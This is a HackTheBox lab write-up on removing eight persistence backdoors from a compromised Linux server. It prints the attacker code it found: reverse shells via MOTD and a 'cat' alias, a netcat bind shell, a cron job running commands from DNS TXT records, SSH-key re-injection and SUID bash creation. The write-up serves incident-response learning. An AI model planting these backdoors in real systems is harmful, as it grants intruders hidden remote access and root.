PersistenceIsFutile
HackTheBox
Task: compromised Linux server with 8 backdoors (remote access + privilege escalation) to find and remove, then run verification script. Solution: systematic enumeration of SSH keys, crontabs, SUID binaries, shell RC files, MOTD scripts, and system users to identify and remediate all 8 persistence mechanisms.
$ ls tags/ techniques/
PersistenceIsFutile — HackTheBox
Description
Hackers made it onto one of our production server. We've isolated it from the internet until we can clean the machine up. The IR team reported eight different backdoors on the server, but didn't say what they were and we can't get in touch with them. We need to get this server back into prod ASAP. Please find the eight backdoors (both remote access and privilege escalation) and remove them. Once done, run /root/solveme as root to check.
We are given SSH access to a compromised Linux server (credentials: user / hackthebox with sudo rights). The goal is to find and remove all 8 backdoors — both remote access and privilege escalation — then run /root/solveme as root to verify full remediation.
Analysis
Initial Reconnaissance
Connected via SSH and performed comprehensive enumeration across all common persistence locations:
| Area Checked | Command / Path | Purpose |
|---|---|---|
| User accounts | /etc/passwd, /etc/shadow | Detect modified/added users |
| Running processes | ps auxf | Find active backdoor processes |
| Listening ports | ss -tlnp | Detect bind shells |
| SSH keys | /root/.ssh/authorized_keys | Unauthorized keys |
| Crontabs | crontab -l, /etc/cron.daily/, /etc/cron.d/ | Scheduled persistence |
| SUID binaries | find / -perm -4000 | Privilege escalation |
| Systemd services | systemctl list-units | Malicious services |
| Shell RC files | .bashrc, .profile | Login-triggered backdoors |
| MOTD scripts | /etc/update-motd.d/ | SSH login triggers |
| PAM configs | /etc/pam.d/ | Authentication backdoors |
This systematic approach revealed all 8 backdoors spanning multiple persistence categories.
Solution
Backdoor 1 — Reverse Shell via MOTD (Remote Access)
Location: /etc/update-motd.d/30-connectivity-check → calls /var/lib/private/connectivity-check
The MOTD (Message of the Day) system runs scripts in /etc/update-motd.d/ on every SSH login. A malicious script was added that launches a persistent reverse shell:
#!/bin/bash while true; do nohup bash -i >& /dev/tcp/172.17.0.1/443 0>&1; sleep 10; done
Remediation: Killed running reverse shell processes, deleted both /etc/update-motd.d/30-connectivity-check and /var/lib/private/connectivity-check.
Backdoor 2 — SSH Key Persistence via cron.daily (Persistence)
Location: /etc/cron.daily/pyssh → calls /lib/python3/dist-packages/ssh_import_id_update
A daily cron script disguised as an SSH import ID update. The helper script base64-decodes and re-adds a malicious SSH key to root's authorized_keys:
#!/bin/bash KEY=$(echo "c3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSUhSZHg1UnE1K09icTY2Y3l3ejVLVzlvZlZtME5DWjM5RVBEQTJDSkRxeDEgbm9ib2R5QG5vdGhpbmcK" | base64 -d) PATH=$(echo "L3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMK" | base64 -d) /bin/grep -q "$KEY" "$PATH" || echo "$KEY" >> "$PATH"
The base64 decodes to:
- Key:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHRdx5Rq5+Obq66cywz5KW9ofVm0NCZ39EPDA2CJDqx1 nobody@nothing - Path:
/root/.ssh/authorized_keys
Critical insight: Simply removing the SSH key (Backdoor 3) is only a partial fix — this cron script silently re-adds it daily.
Remediation: Removed /etc/cron.daily/pyssh and /lib/python3/dist-packages/ssh_import_id_update.
Backdoor 3 — Malicious SSH Authorized Key (Remote Access)
Location: /root/.ssh/authorized_keys
An unauthorized ed25519 key was added:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHRdx5Rq5+Obq66cywz5KW9ofVm0NCZ39EPDA2CJDqx1 nobody@nothing
Remediation: Removed the nobody@nothing key line with sed -i '/nobody@nothing/d' /root/.ssh/authorized_keys.
Backdoor 4 — Cat Alias Reverse Shell in .bashrc (Remote Access)
Location: /home/user/.bashrc
A malicious alias was added that spawns a reverse shell every time the user runs cat:
alias cat='(bash -i >& /dev/tcp/172.17.0.1/443 0>&1 & disown) 2>/dev/null; cat'
The reverse shell is backgrounded and disowned, so the actual cat command still executes normally — making this very stealthy.
Remediation: Removed the malicious alias line from /home/user/.bashrc.
Backdoor 5 — Bind Shell via alertd in root .bashrc (Remote Access)
Location: /root/.bashrc + /usr/bin/alertd
A standalone line in root's .bashrc (separate from the legitimate alert alias):
alertd -e /bin/bash -lnp 4444 &
/usr/bin/alertd was a renamed ncat/netcat binary. This opens a bind shell on port 4444 whenever root's bashrc is sourced (e.g., on login or sudo -i).
Remediation: Removed the line from .bashrc, killed the running process, deleted /usr/bin/alertd.
Backdoor 6 — DNS-based Cron Command Execution (Remote Access)
Location: User crontab (crontab -l -u user)
* * * * * /bin/sh -c "sh -c $(dig imf0rce.htb TXT +short @ns.imf0rce.htb)"
A DNS-based C2 channel: every minute, the cron job queries a TXT record from the attacker's DNS server and executes whatever command is returned. This is extremely stealthy as DNS traffic often bypasses monitoring.
Remediation: Removed user crontab entirely with crontab -u user -r.
Backdoor 7 — SUID Bash Creator via cron.daily (Persistence)
Location: /etc/cron.daily/access-up
A daily cron script that creates new SUID copies of /bin/bash with random 6-character names in /bin or /sbin:
#!/bin/bash DIRS=("/bin" "/sbin") DIR=${DIRS[$[ $RANDOM % 2 ]]} while : ; do NEW_UUID=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 6 | head -n 1) [[ -f "{$DIR}/${NEW_UUID}" ]] || break done cp /bin/bash ${DIR}/${NEW_UUID} touch ${DIR}/${NEW_UUID} -r /bin/bash chmod 4755 ${DIR}/${NEW_UUID}
The touch -r /bin/bash timestamps the copy to match the original, making it harder to detect by modification time.
Critical insight: Removing existing SUID binaries (Backdoor 8) is only a partial fix — this script creates new ones daily.
Remediation: Removed /etc/cron.daily/access-up.
Backdoor 8 — SUID Binaries + gnats User Modification (Privilege Escalation)
Location: Multiple filesystem locations + /etc/passwd + /etc/shadow
SUID copies of /bin/bash (MD5: 7063c3930affe123baecd3b340f1ad2c):
/home/user/.backdoor/usr/bin/dlxcrw/usr/bin/mgxttm/usr/sbin/afdluk
SUID copy of /usr/bin/dash (MD5: 1e6b1c887c59a315edb7eb9a315fc84c):
/usr/sbin/ppppd
gnats user modification:
- GID changed from 41 → 0 (root group)
- Shell changed to
/bin/bash - Password hash set in
/etc/shadow
Any of these SUID binaries can be used for instant root: ./binary -p gives a root shell.
Remediation:
- Removed all 5 SUID binaries
- Restored gnats: GID → 41, shell →
/usr/sbin/nologin, password hash →*
Verification
Ran /root/solveme as root — all 8 issues reported as "fully remediated" and the flag was printed.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md